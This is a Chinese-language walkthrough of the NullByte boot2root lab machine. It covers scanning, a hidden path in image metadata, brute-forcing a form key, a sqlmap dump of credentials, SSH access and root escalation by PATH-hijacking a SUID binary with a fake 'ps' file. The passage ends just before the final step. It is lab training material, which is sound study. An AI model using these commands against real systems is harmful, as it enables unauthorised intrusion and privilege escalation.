靶机下载地址:戳我

Codename: NB0x01

Download: ly0n.me/nullbyte/NullByte.ova.zip

Objetcive: Get to /root/proof.txt and follow the instructions.

Level: Basic to intermediate.

Description: Boot2root, box will get IP from dhcp, works fine with virtualbox&vmware.

Hints: Use your lateral thinking skills, maybe you’ll need to write some code.

0x00 信息收集

使用kali的fping命令探测存活主机,得到该靶机的IP为192.168.187.137。

使用nmap探测端口的开放情况:nmap -sS -A -p 1-65535 192.168.187.137

80端口号哈人q q,有phpmyadmin和upload,但是登录不进去没有权限。

这里挺坑的,把重要信息隐藏在这个大眼睛下面:

可以看到Comment字段有一个“P-): kzMb5nVYJw”字样,使用“kzMb5nVYJw”作为路径去访问,得到一个登录框页面,让输入key。

看了下源代码还有一行提示:此表单未连接到mysql,密码没有那么复杂:

<!-- this form isn't connected to mysql, password ain't that complex --!>

0x01 获取权限

找到了关键路径和提示就开始嗯爆呗0.0,勾选五个字母的单词可以得到正确答案是elite

简单测试了一下页面存在注入:

整,发现账号密码:

python3 sqlmap.py -r /root/Desktop/del.txt -D seth -T users --dump --batch

base64→md5得到明文:omega

用ramses/omega这个号登录phpmyadmin失败了,但成功登录ssh:

0x02 提升权限

找到正在系统上运行的所有SUID可执行文件:

find / -user root -perm -4000 -print 2>/dev/null

注意到一个可疑的/var/www/backup/procwatch:

该程序执行后结果显示如下,可以看到执行了sh和ps命令:

ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1566 pts/0    00:00:00 procwatch
 1567 pts/0    00:00:00 sh
 1568 pts/0    00:00:00 ps

系统寻找可执行文件的时候是从环境变量指定的目录中一个个找的,谁写在前面便会先去这个目录找,找到了就不继续找,找不到再继续去下一个目录找,直到没找到。

且执行ps命令时,procwatch会先去环境变量指定的路径中寻找文件,根据这个特性,可以伪造一个内容为/bin/sh的ps文件,放在环境变量的路径中^^:

echo /bin/sh > ps	#伪造ps文件
chmod 777 ps	#赋予权限
export PATH=/var/www/backup:${PATH}	#将/var/www/backup添加到环境变量

现在环境变量的目录顺序:

ramses@NullByte:/var/www/backup$ echo $PATH
/var/www/backup:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

再次执行即可: